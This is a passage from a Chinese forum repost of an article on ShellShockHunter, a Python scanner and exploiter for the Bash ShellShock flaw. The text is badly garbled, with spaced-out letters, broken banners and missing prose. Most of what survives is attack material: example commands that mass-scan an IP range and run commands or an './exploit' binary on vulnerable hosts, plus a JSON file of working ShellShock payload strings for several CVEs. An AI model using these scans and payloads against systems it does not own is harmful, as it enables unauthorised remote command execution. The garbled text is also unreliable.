[16610] 2021-03-29_使用ShellShockHunter测试ShellShock漏洞

文档创建者:s7ckTeam
浏览次数:6
最后更新:2025-01-18
2021-03-29_使用ShellShockHunter测试ShellShock漏洞 使 S h e l l S h o c k H u n t e r S h e l l S h o c k A l p h a _ h 4 c k   F r e e B u f   2 0 2 1 - 0 3 - 2 9 S h e l l S h o c k S h e l l S h o c k B a s h d o o r U n i x   B a s h   s h e l l 2 0 1 4 9 2 4 S h e l l S h o c k 使 B a s h 使 B a s h I n t e r n e t W e b 访 S h e l l S h o c k H u n t e r 使 使 广 使 p i p S h e l l S h o c k H u n t e r p i p   i n s t a l l   s h o d a n p i p   i n s t a l l   i p i n f o p y t h o n   m a i n . p y   - - h e l p                                                                                     , /                                                                                 , ' /                                                                             , '   /                                                                         , '     / _ _ _ _ _ ,                                                                     . ' _ _ _ _         , '                                                                                         /     , '                                                                             /   , '                                                                             / , '                                                                         / '                           _ _ _ _     _           _ _ _ _ _   _           _           _ _ _ _     _             _ _ _               _                                 /   _ _ _ | |   | _ _   | _ _ _   / |   |       |   |       /   _ _ _ | |   | _ _     /   _       _ _ _ |   |   _ _                         _ _ _   |   ' _       | _   |   |       |   |       _ _ _   |   ' _   |   |   |   | /   _ _ |   | /   /                           _ _ _ )   |   |   |   | _ _ _ )   |   | _ _ _ |   | _ _ _   _ _ _ )   |   |   |   |   | _ |   |   ( _ _ |       <                         | _ _ _ _ / | _ |   | _ | _ _ _ _ / | _ _ _ _ _ | _ _ _ _ _ | _ _ _ _ / | _ |   | _ | _ _ _ /   _ _ _ | _ | _                                           _ _       _       _                           _                             _ _                                    
使 使                                         |   _ |   |   |   |   | _       _   _   _ _   |   | _   _ _ _   _   _ _     | _   |                                                                           |   |     |   | _ |   |   |   |   |   ' _   |   _ _ /   _     ' _ _ |     |   |                                                                           |   |     |     _     |   | _ |   |   |   |   |   | |     _ _ /   |           |   |                                                                           |   |     | _ |   | _ | _ _ , _ | _ |   | _ | _ _ _ _ _ | _ |           |   |                                                                           | _ _ |                                                                     | _ _ |   v 1 . 0                                                                             B y :   M r C l 0 w n   /   h t t p s : / / b l o g . m r c l 0 w n . c o m                                                                                                                                                     u s a g e :   t o o l   [ - h ]   [ - - f i l e   < i p s . t x t > ]   [ - - r a n g e   < i p - s t a r t > , < i p - e n d > ] [ - - c m d - c g i   < c o m m a n d   s h e l l > ]   [ - - e x e c - v u l n   < c o m m a n d   s h e l l > ]   [ - - t h r e a d   < 2 0 > ] [ - - c h e c k ]   [ - - s s l ]   [ - - c g i - f i l e   < c g i . t x t > ]   [ - - t i m e o u t   < 5 > ]   [ - - a l l ]   [ - - d e b u g ] o p t i o n a l   a r g u m e n t s :     - h ,   - - h e l p                                       s h o w   t h i s   h e l p   m e s s a g e   a n d   e x i t     - - f i l e   < i p s . t x t >                           I n p u t   y o u r   t a r g e t   h o s t   l i s t s     - - r a n g e   < i p - s t a r t > , < i p - e n d >     S e t   r a n g e   I P   E g . :   1 9 2 . 1 6 8 . 1 5 . 1 , 1 9 2 . 1 6 8 . 1 5 . 1 0 0     - - c m d - c g i   < c o m m a n d   s h e l l >         D e f i n e   s h e l l   c o m m a n d   t h a t   w i l l   b e   e x e c u t e d   i n   t h e   p a y l o a d     - - e x e c - v u l n   < c o m m a n d   s h e l l >     E x e c u t i n g   c o m m a n d s   o n   v u l n e r a b l e   t a r g e t s     - - t h r e a d   < 2 0 > ,   - t   < 2 0 >               E g .   2 0     - - c h e c k                                             C h e c k   f o r   s h e l l s h o c k   v u l n e r a b i l i t y     - - s s l                                                 E n a b l e   r e q u e s t   w i t h   S S L     - - c g i - f i l e   < c g i . t x t >                   D e f i n e s   a   C G I   f i l e   t o   b e   u s e d     - - t i m e o u t   < 5 >                                 S e t   c o n n e c t i o n   t i m e o u t     - - a l l                                                 T e s t e   a l l   p a y l o a d s     - - d e b u g ,   - d                                     E n a b l e   d e b u g   m o d e p y t h o n   m a i n . p y   - - r a n g e   ' 1 9 4 . 2 0 6 . 1 8 7 . X , 1 9 4 . 2 0 6 . 1 8 7 . X X X '   - - c h e c k   - - t h r e a d   4 0   - - s s l p y t h o n   m a i n . p y   - - r a n g e   ' 1 9 4 . 2 0 6 . 1 8 7 . X , 1 9 4 . 2 0 6 . 1 8 7 . X X X '   - - c h e c k   - - t h r e a d   1 0   - - s s l   - - c g i - f i l e   ' w o r d l i s t / c g i . t x t ' p y t h o n   m a i n . p y   - - r a n g e   ' 1 9 4 . 2 0 6 . 1 8 7 . X , 1 9 4 . 2 0 6 . 1 8 7 . X X X '   - - c m d   ' i d ; u n a m e   - a '   - - t h r e a d   1 0   - - s s l   - - c g i - f i l e   ' w o r d l i s t / c g i . t x t ' p y t h o n   m a i n . p y   - - f i l e   t a r g e t s . t x t   - - c m d   ' i d ; u n a m e   - a '   - - t h r e a d   1 0   - - s s l   - - c g i - f i l e   ' w o r d l i s t / c g i . t x t ' p y t h o n   m a i n . p y   - - f i l e   t a r g e t s . t x t   - - c m d   ' i d ; u n a m e   - a '   - - t h r e a d   1 0   - - s s l   - - c g i - f i l e   ' w o r d l i s t / c g i . t x t '   - - a l l p y t h o n   m a i n . p y   - - r a n g e   ' 1 9 4 . 2 0 6 . 1 8 7 . X , 1 9 4 . 2 0 6 . 1 8 7 . X X X '   - - c h e c k   - - t h r e a d   4 0   - - s s l   - - c g i - f i l e   ' w o r d l i s t / c g i 2 . t x t '   - - e x e c - v u l n   ' c u r l   - v   - k   - i   " _ T A R G E T _ " ' p y t h o n   m a i n . p y   - - r a n g e   ' 1 9 4 . 2 0 6 . 1 8 7 . X , 1 9 4 . 2 0 6 . 1 8 7 . X X X '   - - c h e c k   - - t h r e a d   4 0   - - s s l   - - c g i - f i l e   ' w o r d l i s t / c g i 2 . t x t '   - - e x e c - v u l n   ' . / e x p l o i t   - t   " _ T A R G E T _ " ' p y t h o n   m a i n . p y   - - r a n g e   ' 1 9 4 . 2 0 6 . 1 8 7 . X , 1 9 4 . 2 0 6 . 1 8 7 . X X X '   - - c h e c k   - - t h r e a d   4 0   - - s s l   - - c g i - f i l e   ' w o r d l i s t / c g i 2 . t x t '   - - e x e c - v u l n   ' . / e x p l o i t   - t   " _ T A R G E T _ " '   - - d e b u g
  e x e c - v u l n   e c h o   T A R G E T   d e b u g
p w d a s s e t s / e x p l o i t . j s o n p w d :   a s s e t s / c o n f i g . j s o n {         " D E F A U L T " :                 " ( )   {   : ;   } ;   e c h o   ;   / b i n / b a s h   - c   ' _ C O M M A N D _ ' " ,         " C V E - 2 0 1 4 - 6 2 7 1 " :                 " ( )   {   : ;   } ;   e c h o   _ C H E C K E R _ ;   / b i n / b a s h   - c   ' _ C O M M A N D _ ' " ,         " C V E - 2 0 1 4 - 6 2 7 1 - 2 " :                 " ( )   {   : ; } ;   e c h o   ' _ C H E C K E R _ '   ' B A S H _ F U N C _ x ( ) = ( )   {   : ; } ;   e c h o   _ C H E C K E R _ '   b a s h   - c   ' e c h o   _ C O M M A N D _ ' " ,         " C V E - 2 0 1 4 - 6 2 7 1 - 3 " :                 " ( )   {   : ;   } ;   e c h o   ;   / b i n / b a s h   - c   ' _ C O M M A N D _ ' ; e c h o   _ C H E C K E R _ ; " ,         " C V E - 2 0 1 4 - 7 1 6 9 " :                 " ( )   {   ( a ) = > '   / b i n / b a s h   - c   ' e c h o   _ C H E C K E R _ ' ;   c a t   e c h o " ,         " C V E - 2 0 1 4 - 7 1 8 6 " :                 " / b i n / b a s h   - c   ' t r u e   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F   < < E O F '   | |   e c h o   ' _ C H E C K E R _ ,   r e d i r _ s t a c k ' " ,         " C V E - 2 0 1 4 - 7 1 8 7 " :                 " ( f o r   x   i n   { 1 . . 2 0 0 }   ;   d o   e c h o   " f o r   x $ x   i n   ;   d o   : " ;   d o n e ;   f o r   x   i n   { 1 . . 2 0 0 }   ;   d o   e c h o   d o n e   ;   d o n e )   |   / b i n / b a s h   | |   e c h o   ' _ C H E C K E R _ ,   w o r d _ l i n e n o ' " ,         " C V E - 2 0 1 4 - 6 2 7 8 " :                 " ( )   {   _ ;   }   > _ [ $ ( $ ( ) ) ]   {   e c h o   _ C H E C K E R _ ;   i d ;   }   / b i n / b a s h   - c   ' _ C O M M A N D _ ' " ,         " C V E - 2 0 1 4 - 6 2 7 8 - 2 " :                         " s h e l l s h o c k e r = ' ( )   {   e c h o   _ C H E C K E R _ ;   } '   b a s h   - c   s h e l l s h o c k e r " ,         " C V E - 2 0 1 4 - 6 2 7 7 " :                 " ( )   {   x ( )   {   _ ;   } ;   x ( )   {   _ ;   }   < < a ;   }   / b i n / b a s h   - c   _ C O M M A N D _ ; e c h o   _ C H E C K E R _ " ,         " C V E - 2 0 1 4 - * " :                 " ( )   {   } ;   e c h o   _ C H E C K E R _ '   / b i n / b a s h   - c   ' _ C O M M A N D _ ' " } {         " c o n f i g " :   {                 " t h r e a d s " :   2 0 ,                 " p a t h " :   {                         " p a t h _ o u t p u t " :   " o u t p u t / " ,                         " p a t h _ w o r d l i s t " :   " w o r d l i s t / " ,                         " p a t h _ m o d u l e s " :   " m o d u l e s / " ,                         " p a t h _ a s s e t s " :   " a s s e t s / "                 } ,
                " f i l e s _ a s s e t s " : {                         " c o n f i g " :   " a s s e t s / c o n f i g . j s o n " ,                         " a u t o r " :   " a s s e t s / a u t o r . j s o n " ,                         " e x p l o i t s " :   " a s s e t s / e x p l o i t s . j s o n "                 } ,                 " a p i " : {                         " s h o d a n " : " " ,                         " i p i n f o " : " "                 }         } }   a s s e t s         a u t o r . j s o n         c o n f i g . j s o n         e x p l o i t s . j s o n         p r i n t s                 b a n n e r . p n g                 p r i n t 0 0 . p n g                 p r i n t 0 1 . p n g                 p r i n t 0 2 . p n g                 p r i n t 0 3 . p n g   L I C E N S E   m a i n . p y   m o d u l e s         b a n n e r _ s h o c k . p y         c o l o r _ s h o c k . p y         d e b u g _ s h o c k . p y         f i l e _ s h o c k . p y         _ _ i n i t _ _ . p y         r e q u e s t _ s h o c k . p y         s h o d a n _ s h o c k . p y         t h r e a d _ s h o c k . p y   o u t p u t         v u l n . t x t   R E A D M E . m d
S h e l l S h o c k H u n t e r   w o r d l i s t   c g i . t x t
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则